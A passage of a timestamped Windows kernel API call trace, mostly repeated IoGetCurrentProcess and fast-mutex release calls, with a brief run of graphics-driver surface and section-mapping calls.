(FastMutex=0xffffe000014e9160) [0120.761] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.773] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.774] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.774] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.774] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.774] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.775] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.775] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.775] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.775] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.776] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.780] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.780] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.781] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.781] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.781] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.781] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.781] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.781] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.782] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.782] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.783] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.783] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.783] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.783] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.783] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.783] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.784] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.784] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.784] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.784] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.784] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.784] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.785] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.785] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.785] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.785] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.785] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.786] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.786] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.786] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.786] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.787] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.787] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.787] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.788] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.788] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.788] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.789] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.789] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.789] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.815] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.816] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.816] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.817] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.817] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.817] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.817] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.818] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.818] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.818] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.818] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.819] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.819] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.859] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.859] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.859] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.859] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.859] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.859] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.934] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.934] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.934] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.997] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.997] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.997] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.997] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.998] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.998] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.998] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.998] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.998] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.999] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.999] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0120.999] IoGetCurrentProcess () returned 0xffffe0000137f900 [0120.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0120.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.075] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.075] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.075] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.076] EngAllocMem () returned 0xfffff9014251f030 [0121.076] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.076] MmMapViewOfSection (in: SectionObject=0xffffc00001101280, Process=0xffffe0000137f900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211d2ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xebcde00000, SectionOffset=0xffffd000211d2ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0121.076] EngCreateBitmap () returned 0xffffffffa20506d4 [0121.076] EngAssociateSurface () returned 0x1 [0121.076] EngLockSurface () returned 0xfffff901409eecb8 [0121.076] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000012371a0 [0121.076] KeInitializeEvent (in: Event=0xffffe000012371b8, Type=0x1, State=0 | out: Event=0xffffe000012371b8) [0121.076] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.077] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.077] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.082] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.082] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.082] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.082] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.082] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.086] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.086] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.112] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.112] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.113] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.114] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.114] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.273] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.273] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.274] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.335] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.335] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.335] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.336] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.336] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.397] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.397] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.397] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.398] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.398] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.398] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.462] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.462] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.462] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.462] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0121.462] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.514] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.514] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.526] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.526] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 